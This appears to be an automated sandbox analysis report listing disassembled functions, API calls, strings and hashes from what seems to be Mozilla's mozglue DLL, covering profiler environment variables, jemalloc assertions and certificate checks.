GetCurrentThreadId.KERNEL32 ref: 6CED5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CED570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CED5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CED574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CED576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CED5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CED57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CED57CA

Strings

- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CED5CF9
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CED5D1C
MOZ_BASE_PROFILER_HELP, xrefs: 6CED5511
GeckoMain, xrefs: 6CED5554, 6CED55D5
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CED5766
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CED5D01
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CED5B38
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CED56E3
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CED5717
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CED5D2B
[I %d/%d] profiler_init, xrefs: 6CED564E
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CED57C5
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CED57AE
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CED5749
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CED54A3
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CED5D24
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CED5AC9
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CED5C56
MOZ_PROFILER_STARTUP, xrefs: 6CED55E1
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CED54B9
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CED5BBE
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CED5791
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CED548D
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CED5724
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CED584E

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 180ec15aa9d15ad78865ea3c7bc72404cdae10bfe852f35d39ac6deebac43088
Instruction ID: ce0e53c10582e10db794b890286f403927e13d0bba1145cd0eed16b40c608889
Opcode Fuzzy Hash: 180ec15aa9d15ad78865ea3c7bc72404cdae10bfe852f35d39ac6deebac43088
Instruction Fuzzy Hash: 792236B4E057009FE700AF74C41476A7BB0EF5635CF258929E85A87B42EB35E84ACB53

Function 6CED6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CED6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CED6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CED6D26

Part of subcall function 6CEDCA10: malloc.MOZGLUE(?), ref: 6CEDCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CED6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CED6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CED6D73
free.MOZGLUE(00000000), ref: 6CED6D80
CertGetNameStringW.CRYPT32 ref: 6CED6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CED6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CED6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CED6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CED6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CED6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CED6E34
CreateFileW.KERNEL32 ref: 6CED6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CED6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CED6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CED709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CED7103
free.MOZGLUE(00000000), ref: 6CED7153
CloseHandle.KERNEL32(?), ref: 6CED7176
__Init_thread_footer.LIBCMT ref: 6CED7209
__Init_thread_footer.LIBCMT ref: 6CED723A
__Init_thread_footer.LIBCMT ref: 6CED726B
__Init_thread_footer.LIBCMT ref: 6CED729C
__Init_thread_footer.LIBCMT ref: 6CED72DC
__Init_thread_footer.LIBCMT ref: 6CED730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CED73C2
VerSetConditionMask.NTDLL ref: 6CED73F3
VerSetConditionMask.NTDLL ref: 6CED73FF
VerSetConditionMask.NTDLL ref: 6CED7406
VerSetConditionMask.NTDLL ref: 6CED740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CED741A
moz_xmalloc.MOZGLUE(?), ref: 6CED755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CED7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CED7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CED7598
free.MOZGLUE(00000000), ref: 6CED75AC

Part of subcall function 6CEFAB89: EnterCriticalSection.KERNEL32(6CF4E370,?,?,?,6CEC34DE,6CF4F6CC,?,?,?,?,?,?,?,6CEC3284), ref: 6CEFAB94
Part of subcall function 6CEFAB89: LeaveCriticalSection.KERNEL32(6CF4E370,?,6CEC34DE,6CF4F6CC,?,?,?,?,?,?,?,6CEC3284,?,?,6CEE56F6), ref: 6CEFABD1

Strings

wintrust.dll, xrefs: 6CED72CD
(, xrefs: 6CED768A
CryptCATAdminReleaseCatalogContext, xrefs: 6CED72C8
SHA256, xrefs: 6CED6EC0

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 621683df7f774d38693926a0fde88664bb01f89073590534c7a954508c25f0b9
Instruction ID: 5a4fb5a1ec165f617031658e9eff5e2c1c80d72be55934b011b0f8c21a699583
Opcode Fuzzy Hash: 621683df7f774d38693926a0fde88664bb01f89073590534c7a954508c25f0b9
Instruction Fuzzy Hash: FC521771E102149BEB61DF24CC84BAA77B8EF55308F218599E9089B741DB70BF86CF91

Function 6CF00DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CF00F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CF00F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CF00FB7
EnterCriticalSection.KERNEL32(?), ref: 6CF00FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CF01031
LeaveCriticalSection.KERNEL32(?), ref: 6CF010D0
EnterCriticalSection.KERNEL32(?), ref: 6CF0117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CF01C39
EnterCriticalSection.KERNEL32(6CF4E744), ref: 6CF03391
LeaveCriticalSection.KERNEL32(6CF4E744), ref: 6CF033CD
LeaveCriticalSection.KERNEL32(?), ref: 6CF03431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF03437

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6CF03A02
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CF03559, 6CF0382D, 6CF03848
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CF037D2
<jemalloc>, xrefs: 6CF03941, 6CF039F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CF037BD
Compile-time page size does not divide the runtime one., xrefs: 6CF03946
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CF03793
MALLOC_OPTIONS, xrefs: 6CF035FE
MOZ_CRASH(), xrefs: 6CF03950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CF037A8

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 5272ad52274c724fb01851417c068756aa1bf63d2fdb3a8932f31b49d508703c
Instruction ID: bf230a6b365681338346adb6ba46167a5e2c87ec0656c7584fc2696b6b1fb21c
Opcode Fuzzy Hash: 5272ad52274c724fb01851417c068756aa1bf63d2fdb3a8932f31b49d508703c
Instruction Fuzzy Hash: CF539C72B057018FD704CF28C560616FBE1BF89B28F29C6ADE8699B791D771E801DB81

Function 6CF234A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF23527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF2355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF235BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF235E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF2363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF23693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF236CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF23703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF2373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF23775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF2378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF23892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF238BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF23902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF23939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF23970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF239EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF23A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF23AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF23E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF23EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF23EE2

Part of subcall function 6CF26180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CF261DD
Part of subcall function 6CF26180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CF2622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF240F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF2412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF24157

Part of subcall function 6CF26180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CF26250
Part of subcall function 6CF26180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF26292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF2441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF24448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CF2484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CF24863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CF24878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CF24896
free.MOZGLUE ref: 6CF2489F

Strings

, xrefs: 6CF24CD2

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: a4dd2755f35903f6d8642759b06487aa1eb930ec0f36ef1fb9816ce5aba28b7c
Instruction ID: 26bf199a5fa68b9173df52a469804d522a3ae202de10b73107920c49834472d9
Opcode Fuzzy Hash: a4dd2755f35903f6d8642759b06487aa1eb930ec0f36ef1fb9816ce5aba28b7c
Instruction Fuzzy Hash: AAF23B74908B80CFC765CF28C08469AFBF1FF89358F118A5ED99997711DB719886CB82

Function 6CED64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CED64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CED64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CED6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CED6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CED652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CED671C
GetCurrentProcess.KERNEL32 ref: 6CED6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CED672F
GetCurrentProcess.KERNEL32 ref: 6CED6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CED6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CED6A80
GetSystemInfo.KERNEL32(?), ref: 6CED6ABE
__Init_thread_footer.LIBCMT ref: 6CED6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CED6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CED6AF7

Strings

nvd3d9wrap.dll, xrefs: 6CED6500
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CED6798
nvdxgiwrap.dll, xrefs: 6CED6513
_etoured.dll, xrefs: 6CED64ED
detoured.dll, xrefs: 6CED64DA
user32.dll, xrefs: 6CED6526

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: acb840d802078b86c065b690265430e4cfe593436d561a72612a52717455697b
Instruction ID: 2420961e662b21b07974b85921b7ab4bb07cc9fbbc6a6764810307de4b0ed220
Opcode Fuzzy Hash: acb840d802078b86c065b690265430e4cfe593436d561a72612a52717455697b
Instruction Fuzzy Hash: 46F1C270D012199BDB20DF24CC48B9AB7B9AF4631CF2586D9D819A7742D731AE86CF90

Function 6CF2C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CF2C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CF2C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CF2C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CF2C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CF2C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CF2CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CF2CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CF2DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CF2DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CF2DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CF2DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CF2DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CF2E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CF2E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CF2E472

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: a8ecba45dc0042a30d9d036b6b43fd0cf37e3a2fa94ca852d89e5b4daa57429e
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: B333BE72E0021ACFCB14CFA8C8806EDBBF2FF49310F298269D955AB755D735A945CB90

Function 6CEEED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CEEEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CEEEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CEF1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CEF16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CEF1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CEF1A3E

Strings

~ql, xrefs: 6CEEED10
~ql, xrefs: 6CEEED13

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~ql$~ql
API String ID: 3693777188-2664383298
Opcode ID: 96cdc60895cd95ed9120797dffacaf17ca2f814b349d160fd08bcb5c23095283
Instruction ID: 24145508656f115ae1b6c33afdae746eb3744e7ebd3dd9d7b5a527aedb2d7c2b
Opcode Fuzzy Hash: 96cdc60895cd95ed9120797dffacaf17ca2f814b349d160fd08bcb5c23095283
Instruction Fuzzy Hash: 93B32971E00259CFDB14CFA8C890A9DB7B2FF89304F2582A9D459AB745D730AD86CF91

Function 6CEDFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CF4E7B8), ref: 6CEDFF81
LeaveCriticalSection.KERNEL32(6CF4E7B8), ref: 6CEE022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CEE0240
EnterCriticalSection.KERNEL32(6CF4E768), ref: 6CEE025B
LeaveCriticalSection.KERNEL32(6CF4E768), ref: 6CEE027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CEDFE99, 6CEDFEB7, 6CEDFED3, 6CEE0DB8, 6CEE0DD3, 6CEE19B4
<jemalloc>, xrefs: 6CEE0D62, 6CEE0D76, 6CEE0DA7
: (malloc) Error in VirtualFree(), xrefs: 6CEE0D67, 6CEE0D7B, 6CEE0DAC

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 1847937e3a2ef5283e431594486d760b994f3f78a6ab43cbaff54b023d51dea9
Instruction ID: 2d79cf032fce99d4088204a7577a2d4c2d95dd7f852f9c56e36a442b40528223
Opcode Fuzzy Hash: 1847937e3a2ef5283e431594486d760b994f3f78a6ab43cbaff54b023d51dea9
Instruction Fuzzy Hash: A7C28E71A057418FD714CF28C580716BBF1BF8A368F28C66DE4698B796D771E841CB81

Function 6CF2E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CF2E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CF2EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CF2EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CF2EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CF2F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CF2F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CF30E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CF30E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CF30EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CF30ED4

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 3c56cdd346aa91c45e114482faf57cf8c529fcad62a545c222797ba20e7f8eaa
Instruction ID: cac2ed0171ac0e948113c02d4225eb5b6fc4abdcd2acd439fdc5ca23a25aaaa2
Opcode Fuzzy Hash: 3c56cdd346aa91c45e114482faf57cf8c529fcad62a545c222797ba20e7f8eaa
Instruction Fuzzy Hash: 32639071E0025ACFCB04CFA8C8906DDFBB2FF89310F298269D859AB755D774A945CB90

Function 6CF03E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CF27770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CF03E7D,?,?,?,6CF03E7D,?,?), ref: 6CF2777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CF03F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CF03F5C
VerSetConditionMask.NTDLL ref: 6CF03F8D
